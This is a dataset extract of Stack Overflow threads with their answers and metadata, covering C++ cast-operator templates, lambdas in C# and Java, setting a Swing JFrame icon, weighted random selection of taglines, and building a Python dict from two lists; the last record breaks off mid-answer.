qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
209,793 |
<p>Kind of a random question...</p>
<p>What I'm looking for is a way to express a cast operation which uses a defined operator of the class instance I'm casting from, and generates a compile-time error if there is not a defined cast operator for the type. So, for example, what I'm looking for is something like:</p>
<pre><code>template< typename RESULT_TYPE, typename INPUT_TYPE >
RESULT_TYPE operator_cast( const INPUT_TYPE& tValue )
{
return tValue.operator RESULT_TYPE();
}
// Should work...
CString sString;
LPCTSTR pcszString = operator_cast< LPCTSTR >( sString );
// Should fail...
int iValue = 42;
DWORD dwValue = operator_cast< DWORD >( iValue );
</code></pre>
<p>Interesting side-note: The above code crashes the VS2005 C++ compiler, and doesn't compile correctly in the VS2008 C++ compiler due to what I'm guessing is a compiler bug, but hopefully demonstrates the idea.</p>
<p>Anybody know of any way to achieve this effect?</p>
<p>Edit: More rationale, to explain why you might use this. Say you have a wrapper class which is supposed to encapsulate or abstract a type, and you're casting it to the encapsulated type. You could use static_cast<>, but that might work when you wanted it to fail (ie: the compiler chooses an operator which is allowed to convert to the type you asked for, when you wanted a failure because that operator is not present).</p>
<p>Admittedly it's an uncommon case, but it's annoying that I can't express exactly what I want the compiler to do in an encapsulated function... hence the question here.</p>
|
[
{
"answer_id": 209889,
"author": "Greg Rogers",
"author_id": 5963,
"author_profile": "https://Stackoverflow.com/users/5963",
"pm_score": 1,
"selected": false,
"text": "<p>Using a converting constructor marked <a href=\"https://stackoverflow.com/questions/121162/what-does-the-explicit-keyword-in-c-mean\">explicit</a> is how you would prevent the compiler from allowing implicitly converted types from initializing your wrapper class.</p>\n"
},
{
"answer_id": 210254,
"author": "Evan Teran",
"author_id": 13430,
"author_profile": "https://Stackoverflow.com/users/13430",
"pm_score": 0,
"selected": false,
"text": "<p>sounds like you want template specialization, something like this would do:</p>\n\n<pre><code>/* general template */\ntemplate<typename T1, typename T2> T1 operator_cast(const T2 &x);\n\n/* do this for each valid cast */\ntemplate<> LPCTSTR operator_cast(const CString &x) { return (LPCTSTR)x; }\n</code></pre>\n\n<p>EDIT: As noted in another post, you can put something in the general version to give you a more useful error message if an unsupported cast is performed.</p>\n"
},
{
"answer_id": 210339,
"author": "user23167",
"author_id": 23167,
"author_profile": "https://Stackoverflow.com/users/23167",
"pm_score": 1,
"selected": false,
"text": "<p>As template-related compiler error messages are usually a complete pain to unravel, if you don't mind specifying each conversion you can get the compiler to emit a more instructive message in the fail case by providing a default template definition too. This uses the fact that the compiler will only attempt to compile code in templates that is actually invoked.</p>\n\n<pre><code>#include <string>\n\n// Class to trigger compiler warning \nclass NO_OPERATOR_CONVERSION_AVAILABLE\n{\nprivate:\n NO_OPERATOR_CONVERSION_AVAILABLE(){};\n};\n\n// Default template definition to cause compiler error\ntemplate<typename T1, typename T2> T1 operator_cast(const T2&)\n{\n NO_OPERATOR_CONVERSION_AVAILABLE a;\n return T1();\n}\n\n// Template specialisation\ntemplate<> std::string operator_cast(const std::string &x)\n{\n return x;\n}\n</code></pre>\n"
},
{
"answer_id": 223541,
"author": "Motti",
"author_id": 3848,
"author_profile": "https://Stackoverflow.com/users/3848",
"pm_score": 3,
"selected": true,
"text": "<p>The code you posted works with the <a href=\"http://www.comeaucomputing.com/tryitout/\" rel=\"nofollow noreferrer\">Cameau compiler</a> (which is usually a good indication that it's valid C++). </p>\n\n<p>As you know a valid cast consists of no more than one user defined cast, so a possible solution I was thinking of was adding another user defined cast by defining a new type in the cast template and having a <a href=\"http://www.boost.org/doc/libs/1_36_0/boost/static_assert.hpp\" rel=\"nofollow noreferrer\">static assert</a> that no cast is available from the new type to the result type (using <a href=\"http://www.boost.org/doc/libs/1_36_0/boost/type_traits/is_convertible.hpp\" rel=\"nofollow noreferrer\">boost is_convertible</a>), however this doesn't distinguish between cast operators and cast constructors (ctor with one argument) and alows additional casts to take place (e.g. <code>void*</code> to <code>bool</code>). I'm not sure if making a distinction between cast operators and cast constructors is the the <em>correct</em> thing to do but that's what the question states.</p>\n\n<p>After a couple of days mulling this over it hit me, you can simply take the address of the cast operator. This is slightly easier said than done due to C++'s hairy pointer to member syntax (it took me way longer than expected to get it right). I don't know if this works on VS2008, I only checked it on Cameau.</p>\n\n<pre><code>template< typename Res, typename T>\nRes operator_cast( const T& t )\n{\n typedef Res (T::*cast_op_t)() const;\n cast_op_t cast_op = &T::operator Res;\n return (t.*cast_op)();\n}\n</code></pre>\n\n<p><strong>Edit:</strong> I got a chance to test it on VS2005 and VS2008. My findings differ from the original poster's. </p>\n\n<ul>\n<li>On VS2008 the original version seems to work fine (as does mine).</li>\n<li>On VS2005 the original version only crashes the compiler when casting from a built in type (e.g. casting int to int) after providing a compilation error which doesn't seem so bad too me and my version seems to works in all cases.</li>\n</ul>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209793",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26240/"
] |
Kind of a random question...
What I'm looking for is a way to express a cast operation which uses a defined operator of the class instance I'm casting from, and generates a compile-time error if there is not a defined cast operator for the type. So, for example, what I'm looking for is something like:
```
template< typename RESULT_TYPE, typename INPUT_TYPE >
RESULT_TYPE operator_cast( const INPUT_TYPE& tValue )
{
return tValue.operator RESULT_TYPE();
}
// Should work...
CString sString;
LPCTSTR pcszString = operator_cast< LPCTSTR >( sString );
// Should fail...
int iValue = 42;
DWORD dwValue = operator_cast< DWORD >( iValue );
```
Interesting side-note: The above code crashes the VS2005 C++ compiler, and doesn't compile correctly in the VS2008 C++ compiler due to what I'm guessing is a compiler bug, but hopefully demonstrates the idea.
Anybody know of any way to achieve this effect?
Edit: More rationale, to explain why you might use this. Say you have a wrapper class which is supposed to encapsulate or abstract a type, and you're casting it to the encapsulated type. You could use static\_cast<>, but that might work when you wanted it to fail (ie: the compiler chooses an operator which is allowed to convert to the type you asked for, when you wanted a failure because that operator is not present).
Admittedly it's an uncommon case, but it's annoying that I can't express exactly what I want the compiler to do in an encapsulated function... hence the question here.
|
The code you posted works with the [Cameau compiler](http://www.comeaucomputing.com/tryitout/) (which is usually a good indication that it's valid C++).
As you know a valid cast consists of no more than one user defined cast, so a possible solution I was thinking of was adding another user defined cast by defining a new type in the cast template and having a [static assert](http://www.boost.org/doc/libs/1_36_0/boost/static_assert.hpp) that no cast is available from the new type to the result type (using [boost is\_convertible](http://www.boost.org/doc/libs/1_36_0/boost/type_traits/is_convertible.hpp)), however this doesn't distinguish between cast operators and cast constructors (ctor with one argument) and alows additional casts to take place (e.g. `void*` to `bool`). I'm not sure if making a distinction between cast operators and cast constructors is the the *correct* thing to do but that's what the question states.
After a couple of days mulling this over it hit me, you can simply take the address of the cast operator. This is slightly easier said than done due to C++'s hairy pointer to member syntax (it took me way longer than expected to get it right). I don't know if this works on VS2008, I only checked it on Cameau.
```
template< typename Res, typename T>
Res operator_cast( const T& t )
{
typedef Res (T::*cast_op_t)() const;
cast_op_t cast_op = &T::operator Res;
return (t.*cast_op)();
}
```
**Edit:** I got a chance to test it on VS2005 and VS2008. My findings differ from the original poster's.
* On VS2008 the original version seems to work fine (as does mine).
* On VS2005 the original version only crashes the compiler when casting from a built in type (e.g. casting int to int) after providing a compilation error which doesn't seem so bad too me and my version seems to works in all cases.
|
209,804 |
<p>What reason is there for C# or java having lambdas? Neither language is based around them, it appears to be another coding method to do the same thing that C# already did.<br>
I'm not being confrontational, if there is a reason I would like to know the reason why. For the purpose of full disclosure I am a Java programmer with a C++ background with no lisp experience, I may just be missing the point. </p>
|
[
{
"answer_id": 209810,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 3,
"selected": false,
"text": "<p>I see lambdas in C# as a very convenient short-cut for doing delegates. Much more readable to have the code right there where it is being used rather than having to search elsewhere for the delegate definition.</p>\n"
},
{
"answer_id": 209825,
"author": "johnstok",
"author_id": 27929,
"author_profile": "https://Stackoverflow.com/users/27929",
"pm_score": 2,
"selected": false,
"text": "<p>Lambdas allow you write less verbose, more expressive code. For example, <a href=\"http://martinfowler.com/bliki/CollectionClosureMethod.html\" rel=\"nofollow noreferrer\">list comprehensions</a>...</p>\n\n<p>BTW, work is under way to explore the possibility of adding closures to Java - in the meantime it is necessary to use anonymous classes instead (ugly).</p>\n"
},
{
"answer_id": 209829,
"author": "Daniel Spiewak",
"author_id": 9815,
"author_profile": "https://Stackoverflow.com/users/9815",
"pm_score": 6,
"selected": true,
"text": "<p>There are common use-cases which require passing (or storing) a block of code to be executed later. The most common would be event listeners. Believe it or not, the following bit of code uses a lambda-ish construct in Java:</p>\n\n<pre><code>JButton button = new JButton(\"Push me!\");\nbutton.addActionListener(new ActionListener() {\n public void actionPerformed(ActionEvent e) {\n System.out.println(\"Pressed!\");\n }\n});\n</code></pre>\n\n<p>The anonymous inner-class is acting as a lambda, albeit an extremely verbose one. With a little bit of implicit conversion magic, we can write the following equivalent in Scala:</p>\n\n<pre><code>val button = new JButton(\"Push me!\")\nbutton.addActionListener { e =>\n println(\"Pressed!\")\n}\n</code></pre>\n\n<p>C# makes this sort of thing fairly easy with delegates and (even better) lambdas.</p>\n"
},
{
"answer_id": 209830,
"author": "Bob King",
"author_id": 6897,
"author_profile": "https://Stackoverflow.com/users/6897",
"pm_score": 2,
"selected": false,
"text": "<p>Syntactic Sugar.</p>\n\n<p>It provides a convenient and more-readable way to represent an idea, in this case a tiny throw-away method. Under the hood, the compiler expands that out to a delegate and method call, but it's the thing doing the work, not you.</p>\n"
},
{
"answer_id": 209865,
"author": "yfeldblum",
"author_id": 12349,
"author_profile": "https://Stackoverflow.com/users/12349",
"pm_score": 1,
"selected": false,
"text": "<p>C# isn't going for purity to a particular school of language design (unlike Java, which was designed by the Smalltalkers as to be something of a pure OO language). C# is going for all-things-to-all-people, and it's pretty good at it. C# is based around gathering the best of the various styles of programming into one high-quality, well-supported language. That includes procedural, object-oriented, functional, dynamic, logic, etc. styles of programming. Obviously, so far it doesn't have much in the way of dynamic or logic styles of programming, but that is soon to come (dynamic programming coming with C# 4.0).</p>\n"
},
{
"answer_id": 209925,
"author": "Nemanja Trifunovic",
"author_id": 8899,
"author_profile": "https://Stackoverflow.com/users/8899",
"pm_score": 1,
"selected": false,
"text": "<p>In case of C#, lambdas are used internally to implement LINQ. See the article <a href=\"http://msdn.microsoft.com/en-us/magazine/cc163400.aspx\" rel=\"nofollow noreferrer\">The Evolution Of LINQ And Its Impact On The Design Of C#</a></p>\n"
},
{
"answer_id": 214192,
"author": "Raindog",
"author_id": 29049,
"author_profile": "https://Stackoverflow.com/users/29049",
"pm_score": 0,
"selected": false,
"text": "<p>Lambda's allow for more readable code in that they allow operations to be defined closer to the point of use rather than like the current C++ method of using function objects whose definition is sometimes far from the point of use. (This is not including some of the boost libraries). I think the key point from lambdas is that they allow more concise and easy to understand code.</p>\n"
},
{
"answer_id": 37555319,
"author": "pkiulian",
"author_id": 6406581,
"author_profile": "https://Stackoverflow.com/users/6406581",
"pm_score": -1,
"selected": false,
"text": "<p>They offer better security using the multi threading in Java by implying in many cases the \"final\" option. So you are not error prone for multitasking. </p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209804",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13491/"
] |
What reason is there for C# or java having lambdas? Neither language is based around them, it appears to be another coding method to do the same thing that C# already did.
I'm not being confrontational, if there is a reason I would like to know the reason why. For the purpose of full disclosure I am a Java programmer with a C++ background with no lisp experience, I may just be missing the point.
|
There are common use-cases which require passing (or storing) a block of code to be executed later. The most common would be event listeners. Believe it or not, the following bit of code uses a lambda-ish construct in Java:
```
JButton button = new JButton("Push me!");
button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
System.out.println("Pressed!");
}
});
```
The anonymous inner-class is acting as a lambda, albeit an extremely verbose one. With a little bit of implicit conversion magic, we can write the following equivalent in Scala:
```
val button = new JButton("Push me!")
button.addActionListener { e =>
println("Pressed!")
}
```
C# makes this sort of thing fairly easy with delegates and (even better) lambdas.
|
209,812 |
<p>I'm using NetBeans, trying to change the familiar Java coffee cup icon to a png file that I have saved in a resources directory in the jar file. I've found many different web pages that claim they have a solution, but so far none of them work.</p>
<p>Here's what I have at the moment (leaving out the try-catch block):</p>
<pre><code>URL url = new URL("com/xyz/resources/camera.png");
Toolkit kit = Toolkit.getDefaultToolkit();
Image img = kit.createImage(url);
getFrame().setIconImage(img);
</code></pre>
<p>The class that contains this code is in the <strong>com.xyz</strong> package, if that makes any difference. That class also extends JFrame. This code is throwing a MalformedUrlException on the first line.</p>
<p>Anyone have a solution that works?</p>
|
[
{
"answer_id": 209824,
"author": "JeeBee",
"author_id": 17832,
"author_profile": "https://Stackoverflow.com/users/17832",
"pm_score": 7,
"selected": true,
"text": "<pre><code>java.net.URL url = ClassLoader.getSystemResource(\"com/xyz/resources/camera.png\");\n</code></pre>\n\n<p>May or may not require a '/' at the front of the path.</p>\n"
},
{
"answer_id": 210197,
"author": "John Gardner",
"author_id": 13687,
"author_profile": "https://Stackoverflow.com/users/13687",
"pm_score": 2,
"selected": false,
"text": "<p>Or place the image in a location relative to a class and you don't need all that package/path info in the string itself.</p>\n\n<pre><code>com.xyz.SomeClassInThisPackage.class.getResource( \"resources/camera.png\" );\n</code></pre>\n\n<p>That way if you move the class to a different package, you dont have to find all the strings, you just move the class and its resources directory.</p>\n"
},
{
"answer_id": 13041618,
"author": "user1456935",
"author_id": 1456935,
"author_profile": "https://Stackoverflow.com/users/1456935",
"pm_score": 2,
"selected": false,
"text": "<pre><code> /** Creates new form Java Program1*/\n public Java Program1() \n\n\n Image im = null;\n try {\n im = ImageIO.read(getClass().getResource(\"/image location\"));\n } catch (IOException ex) {\n Logger.getLogger(chat.class.getName()).log(Level.SEVERE, null, ex);\n }\n setIconImage(im);\n</code></pre>\n\n<p>This is what I used in the GUI in netbeans and it worked perfectly</p>\n"
},
{
"answer_id": 14355281,
"author": "Ayoub Aneddame",
"author_id": 1983129,
"author_profile": "https://Stackoverflow.com/users/1983129",
"pm_score": 4,
"selected": false,
"text": "<p>You can simply go Netbeans, in the design view, go to <code>JFrame</code> property, choose icon image property, Choose Set Form's <code>iconImage</code> property using: \"Custom code\" and then in the <code>Form.SetIconImage()</code> function put the following code: </p>\n\n<pre><code>Toolkit.getDefaultToolkit().getImage(name_of_your_JFrame.class.getResource(\"image.png\"))\n</code></pre>\n\n<p>Do not forget to import: </p>\n\n<pre><code>import java.awt.Toolkit;\n</code></pre>\n\n<p>in the source code!</p>\n"
},
{
"answer_id": 18927847,
"author": "user2601995",
"author_id": 2601995,
"author_profile": "https://Stackoverflow.com/users/2601995",
"pm_score": 2,
"selected": false,
"text": "<p>In a class that extends a <code>javax.swing.JFrame</code> use method <code>setIconImage</code>. </p>\n\n<pre><code>this.setIconImage(new ImageIcon(getClass().getResource(\"/resource/icon.png\")).getImage());\n</code></pre>\n"
},
{
"answer_id": 19469704,
"author": "user2895893",
"author_id": 2895893,
"author_profile": "https://Stackoverflow.com/users/2895893",
"pm_score": 2,
"selected": false,
"text": "<p>Try This write after</p>\n\n<pre><code>initcomponents();\n\nsetIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource(\"Your image address\")));\n</code></pre>\n"
},
{
"answer_id": 26055825,
"author": "Rrezart A. Prebreza",
"author_id": 4025602,
"author_profile": "https://Stackoverflow.com/users/4025602",
"pm_score": -1,
"selected": false,
"text": "<p>Example:</p>\n\n<pre><code>URL imageURL = this.getClass().getClassLoader().getResource(\"Gui/icon/report-go-icon.png\");\nImageIcon iChing = new ImageIcon(\"C:\\\\Users\\\\RrezartP\\\\Documents\\\\NetBeansProjects\\\\Inventari\\\\src\\\\Gui\\\\icon\\\\report-go-icon.png\"); \nbtnReport.setIcon(iChing); \nSystem.out.println(imageURL);\n</code></pre>\n"
},
{
"answer_id": 38547712,
"author": "ron190",
"author_id": 2073804,
"author_profile": "https://Stackoverflow.com/users/2073804",
"pm_score": 2,
"selected": false,
"text": "<p>You should define icons of various size, Windows and Linux distros like Ubuntu use different icons in Taskbar and Alt-Tab.</p>\n\n<pre><code>public static final URL ICON16 = HelperUi.class.getResource(\"/com/jsql/view/swing/resources/images/software/bug16.png\");\npublic static final URL ICON32 = HelperUi.class.getResource(\"/com/jsql/view/swing/resources/images/software/bug32.png\");\npublic static final URL ICON96 = HelperUi.class.getResource(\"/com/jsql/view/swing/resources/images/software/bug96.png\");\n\nList<Image> images = new ArrayList<>();\ntry {\n images.add(ImageIO.read(HelperUi.ICON96));\n images.add(ImageIO.read(HelperUi.ICON32));\n images.add(ImageIO.read(HelperUi.ICON16));\n} catch (IOException e) {\n LOGGER.error(e, e);\n}\n\n// Define a small and large app icon\nthis.setIconImages(images);\n</code></pre>\n"
},
{
"answer_id": 46866648,
"author": "Alex S",
"author_id": 6360179,
"author_profile": "https://Stackoverflow.com/users/6360179",
"pm_score": 0,
"selected": false,
"text": "<p>inside frame constructor</p>\n\n<pre><code>try{ \n setIconImage(ImageIO.read(new File(\"./images/icon.png\"))); \n }\ncatch (Exception ex){\n //do something\n }\n</code></pre>\n"
},
{
"answer_id": 54374846,
"author": "Spicy strike",
"author_id": 10970074,
"author_profile": "https://Stackoverflow.com/users/10970074",
"pm_score": 1,
"selected": false,
"text": "<p>You can try <strong>this one</strong>, it works just fine : </p>\n\n<pre><code>` ImageIcon icon = new ImageIcon(\".//Ressources//User_50.png\");\n this.setIconImage(icon.getImage());`\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209812",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1288/"
] |
I'm using NetBeans, trying to change the familiar Java coffee cup icon to a png file that I have saved in a resources directory in the jar file. I've found many different web pages that claim they have a solution, but so far none of them work.
Here's what I have at the moment (leaving out the try-catch block):
```
URL url = new URL("com/xyz/resources/camera.png");
Toolkit kit = Toolkit.getDefaultToolkit();
Image img = kit.createImage(url);
getFrame().setIconImage(img);
```
The class that contains this code is in the **com.xyz** package, if that makes any difference. That class also extends JFrame. This code is throwing a MalformedUrlException on the first line.
Anyone have a solution that works?
|
```
java.net.URL url = ClassLoader.getSystemResource("com/xyz/resources/camera.png");
```
May or may not require a '/' at the front of the path.
|
209,820 |
<p>I want to be able to introduce new 'tag lines' into a database that are shown 'randomly' to users. (These tag lines are shown as an introduction as animated text.)</p>
<p>Based upon the number of sales that result from those taglines I'd like the good ones to trickle to the top, but still show the others less frequently.</p>
<p>I could come up with a basic algorithm quite easily but I want something thats a little more 'statistically accurate'.</p>
<p>I dont really know where to start. Its been a while since I've done anything more than basic statistics. My model would need to be sensitive to tolerances, but obviously it doesnt need to be worthy of a PHD.</p>
<p><strong>Edit:</strong> I am currently tracking a 'conversion rate' - i.e. hits per order. This value would probably be best calculated as a cumulative 'all time' convertsion rate to be fed into the algorithm.</p>
|
[
{
"answer_id": 209857,
"author": "EBGreen",
"author_id": 1358,
"author_profile": "https://Stackoverflow.com/users/1358",
"pm_score": 0,
"selected": false,
"text": "<p>I would suggest randomly choosing with a weighting factor based on previous sales. So let's say you had this:</p>\n\n<ul>\n<li>tag1 = 1 sale </li>\n<li>tag2 = 0 sales </li>\n<li>tag3 = 1 sale</li>\n<li>tag4 = 2 sales</li>\n<li>tag5 = 3 sales</li>\n</ul>\n\n<p>A simple weighting formula would be 1 + number of sales, so this would be the probability of selecting each tag:</p>\n\n<ul>\n<li>tag1 = 2/12 = 16.7%</li>\n<li>tag2 = 1/12 = 8.3%</li>\n<li>tag3 = 2/12 = 16.6%</li>\n<li>tag4 = 3/12 = 25%</li>\n<li>tag5 = 4/12 = 33.3%</li>\n</ul>\n\n<p>You could easily change the weighting formula to get just the distribution that you want.</p>\n"
},
{
"answer_id": 210089,
"author": "matt b",
"author_id": 4249,
"author_profile": "https://Stackoverflow.com/users/4249",
"pm_score": 0,
"selected": false,
"text": "<p>You have to come up with a weighting formula based on sales. </p>\n\n<p>I don't think there's any such thing as a \"statistically accurate\" formula here - it's all based on your preference.</p>\n\n<p>No one can say \"this is the correct weighting and the other weighting is wrong\" because there isn't a final outcome you are attempting to model - this isn't like trying to weigh responses to a poll about an upcoming election (where you are trying to model results to represent something that will happen in the future).</p>\n"
},
{
"answer_id": 212573,
"author": "Tnilsson",
"author_id": 4165,
"author_profile": "https://Stackoverflow.com/users/4165",
"pm_score": 1,
"selected": false,
"text": "<p>Looking at your problem, I would modify the requirements a bit -</p>\n\n<p>1) The most popular one should be shown most often.\n2) Taglines should \"age\", so one that got a lot of votes (purchase) in the past, but none recently should be shown less often\n3) Brand new taglines should be shown more often during their first days.</p>\n\n<p>If you agree on those, then a algorithm could be something like:</p>\n\n<pre><code>START:\nx = random(1, 3); \nif x = 3 goto NEW else goto NORMAL\n\nNEW:\nTagVec = Taglines.filterYounger(5 days); // I'm taking a LOT of liberties with the pseudo code,,,\nx = random(1, TagVec.Length);\nreturn tagVec[x-1]; // 0 indexed vectors even in made up language,\n\n\nNORMAL:\n// Similar to EBGREEN above\nsum = 0;\nForEach(TagLine in TagLines) {\n sum += TagLine.noOfPurhcases;\n}\nx = random(1, sum);\nForEach(TagLine in TagLines) {\n x -= TagLine.noOfPurchase;\n if ( x > 0) return TagLine; // Find the TagLine that represent our random number\n}\n</code></pre>\n\n<p>Now, as a setup I would give every new tagline 10 purchases, to avoid getting really big slanting for one single purchase. </p>\n\n<p>The aging process I would count a purchase older than a week as 0.8 purhcase per week of age. So 1 week old gives 0.8 points, 2 weeks give 0.8*0.8 = 0,64 and so forth...</p>\n\n<p>You would have to play around with the Initial purhcases parameter (10 in my example) and the aging speed (1 week here) and the aging factor (0.8 here) to find something that suits you.</p>\n"
},
{
"answer_id": 217488,
"author": "user5084",
"author_id": 5084,
"author_profile": "https://Stackoverflow.com/users/5084",
"pm_score": 0,
"selected": false,
"text": "<p>Heres an example in javascript. Not that I'm not suggesting running this client side... \nAlso there is alot of optimization that can be done.</p>\n\n<p>Note: createMemberInNormalDistribution() is implemented here <a href=\"https://stackoverflow.com/questions/75677/converting-a-uniform-distribution-to-a-normal-distribution#196941\">Converting a Uniform Distribution to a Normal Distribution</a></p>\n\n<pre><code>/*\n * an example set of taglines\n * hits are sales\n * views are times its been shown\n */\nvar taglines = [\n {\"tag\":\"tagline 1\",\"hits\":1,\"views\":234},\n {\"tag\":\"tagline 2\",\"hits\":5,\"views\":566},\n {\"tag\":\"tagline 3\",\"hits\":3,\"views\":421},\n {\"tag\":\"tagline 4\",\"hits\":1,\"views\":120}, \n {\"tag\":\"tagline 5\",\"hits\":7,\"views\":200}\n];\n\n/*set up our stat model for the tags*/\nvar TagModel = function(set){ \n var hits, views, sumOfDiff, sumOfSqDiff; \n hits = views = sumOfDiff = sumOfSqDiff = 0;\n /*find average*/\n for (n in set){\n hits += set[n].hits;\n views += set[n].views; \n }\n this.avg = hits/views;\n /*find standard deviation and variance*/\n for (n in set){\n var diff =((set[n].hits/set[n].views)-this.avg);\n sumOfDiff += diff;\n sumOfSqDiff += diff*diff; \n }\n this.variance = sumOfDiff;\n this.std_dev = Math.sqrt(sumOfSqDiff/set.length);\n /*return tag to use fChooser determines likelyhood of tag*/\n this.getTag = function(fChooser){\n var m = this;\n set.sort(function(a,b){\n return fChooser((a.hits/a.views),(b.hits/b.views), m);\n });\n return set[0];\n };\n};\n\nvar config = {\n\n \"uniformDistribution\":function(a,b,model){\n return Math.random()*b-Math.random()*a;\n },\n \"normalDistribution\":function(a,b,model){\n var a1 = createMemberInNormalDistribution(model.avg,model.std_dev)* a;\n var b1 = createMemberInNormalDistribution(model.avg,model.std_dev)* b;\n return b1-a1;\n },\n //say weight = 10^n... higher n is the more even the distribution will be.\n \"weight\": .5,\n \"weightedDistribution\":function(a,b,model){\n var a1 = createMemberInNormalDistribution(model.avg,model.std_dev*config.weight)* a;\n var b1 = createMemberInNormalDistribution(model.avg,model.std_dev*config.weight)* b;\n return b1-a1;\n }\n}\n\nvar model = new TagModel(taglines);\n\n//to use\nmodel.getTag(config.uniformDistribution).tag;\n//running 10000 times: ({'tagline 4':836, 'tagline 5':7608, 'tagline 1':100, 'tagline 2':924, 'tagline 3':532})\n\nmodel.getTag(config.normalDistribution).tag;\n//running 10000 times: ({'tagline 4':1775, 'tagline 5':3471, 'tagline 1':1273, 'tagline 2':1857, 'tagline 3':1624})\n\nmodel.getTag(config.weightedDistribution).tag;\n//running 10000 times: ({'tagline 4':1514, 'tagline 5':5045, 'tagline 1':577, 'tagline 2':1627, 'tagline 3':1237})\n\nconfig.weight = 2;\nmodel.getTag(config.weightedDistribution).tag;\n//running 10000 times: {'tagline 4':1941, 'tagline 5':2715, 'tagline 1':1559, 'tagline 2':1957, 'tagline 3':1828})\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209820",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24727/"
] |
I want to be able to introduce new 'tag lines' into a database that are shown 'randomly' to users. (These tag lines are shown as an introduction as animated text.)
Based upon the number of sales that result from those taglines I'd like the good ones to trickle to the top, but still show the others less frequently.
I could come up with a basic algorithm quite easily but I want something thats a little more 'statistically accurate'.
I dont really know where to start. Its been a while since I've done anything more than basic statistics. My model would need to be sensitive to tolerances, but obviously it doesnt need to be worthy of a PHD.
**Edit:** I am currently tracking a 'conversion rate' - i.e. hits per order. This value would probably be best calculated as a cumulative 'all time' convertsion rate to be fed into the algorithm.
|
Looking at your problem, I would modify the requirements a bit -
1) The most popular one should be shown most often.
2) Taglines should "age", so one that got a lot of votes (purchase) in the past, but none recently should be shown less often
3) Brand new taglines should be shown more often during their first days.
If you agree on those, then a algorithm could be something like:
```
START:
x = random(1, 3);
if x = 3 goto NEW else goto NORMAL
NEW:
TagVec = Taglines.filterYounger(5 days); // I'm taking a LOT of liberties with the pseudo code,,,
x = random(1, TagVec.Length);
return tagVec[x-1]; // 0 indexed vectors even in made up language,
NORMAL:
// Similar to EBGREEN above
sum = 0;
ForEach(TagLine in TagLines) {
sum += TagLine.noOfPurhcases;
}
x = random(1, sum);
ForEach(TagLine in TagLines) {
x -= TagLine.noOfPurchase;
if ( x > 0) return TagLine; // Find the TagLine that represent our random number
}
```
Now, as a setup I would give every new tagline 10 purchases, to avoid getting really big slanting for one single purchase.
The aging process I would count a purchase older than a week as 0.8 purhcase per week of age. So 1 week old gives 0.8 points, 2 weeks give 0.8\*0.8 = 0,64 and so forth...
You would have to play around with the Initial purhcases parameter (10 in my example) and the aging speed (1 week here) and the aging factor (0.8 here) to find something that suits you.
|
209,840 |
<p>I want to combine these:</p>
<pre class="lang-py prettyprint-override"><code>keys = ['name', 'age', 'food']
values = ['Monty', 42, 'spam']
</code></pre>
<p>Into a single dictionary:</p>
<pre class="lang-py prettyprint-override"><code>{'name': 'Monty', 'age': 42, 'food': 'spam'}
</code></pre>
|
[
{
"answer_id": 209854,
"author": "Dan Lenski",
"author_id": 20789,
"author_profile": "https://Stackoverflow.com/users/20789",
"pm_score": 12,
"selected": true,
"text": "<p>Like this:</p>\n<pre><code>keys = ['a', 'b', 'c']\nvalues = [1, 2, 3]\ndictionary = dict(zip(keys, values))\nprint(dictionary) # {'a': 1, 'b': 2, 'c': 3}\n</code></pre>\n<p>Voila :-) The pairwise <a href=\"https://docs.python.org/3/library/functions.html#func-dict\" rel=\"noreferrer\"><code>dict</code></a> constructor and <a href=\"https://docs.python.org/3/library/functions.html#zip\" rel=\"noreferrer\"><code>zip</code></a> function are awesomely useful.</p>\n"
},
{
"answer_id": 209855,
"author": "iny",
"author_id": 27067,
"author_profile": "https://Stackoverflow.com/users/27067",
"pm_score": 5,
"selected": false,
"text": "<pre><code>keys = ('name', 'age', 'food')\nvalues = ('Monty', 42, 'spam')\nout = dict(zip(keys, values))\n</code></pre>\n<p>Output:</p>\n<pre><code>{'food': 'spam', 'age': 42, 'name': 'Monty'}\n</code></pre>\n"
},
{
"answer_id": 209880,
"author": "Mike Davis",
"author_id": 28471,
"author_profile": "https://Stackoverflow.com/users/28471",
"pm_score": 7,
"selected": false,
"text": "<p>Try this:</p>\n\n<pre><code>>>> import itertools\n>>> keys = ('name', 'age', 'food')\n>>> values = ('Monty', 42, 'spam')\n>>> adict = dict(itertools.izip(keys,values))\n>>> adict\n{'food': 'spam', 'age': 42, 'name': 'Monty'}\n</code></pre>\n\n<p>In Python 2, it's also more economical in memory consumption compared to <code>zip</code>.</p>\n"
},
{
"answer_id": 210234,
"author": "jfs",
"author_id": 4279,
"author_profile": "https://Stackoverflow.com/users/4279",
"pm_score": 4,
"selected": false,
"text": "<p>If you need to transform keys or values before creating a dictionary then a <a href=\"http://docs.python.org/ref/genexpr.html\" rel=\"noreferrer\">generator expression</a> could be used. Example:</p>\n\n<pre><code>>>> adict = dict((str(k), v) for k, v in zip(['a', 1, 'b'], [2, 'c', 3])) \n</code></pre>\n\n<p>Take a look <a href=\"http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html\" rel=\"noreferrer\">Code Like a Pythonista: Idiomatic Python</a>.</p>\n"
},
{
"answer_id": 10971932,
"author": "Brendan Berg",
"author_id": 39053,
"author_profile": "https://Stackoverflow.com/users/39053",
"pm_score": 5,
"selected": false,
"text": "<p>You can also use dictionary comprehensions in Python ≥ 2.7:</p>\n\n<pre><code>>>> keys = ('name', 'age', 'food')\n>>> values = ('Monty', 42, 'spam')\n>>> {k: v for k, v in zip(keys, values)}\n{'food': 'spam', 'age': 42, 'name': 'Monty'}\n</code></pre>\n"
},
{
"answer_id": 15709950,
"author": "exploitprotocol",
"author_id": 2225469,
"author_profile": "https://Stackoverflow.com/users/2225469",
"pm_score": 3,
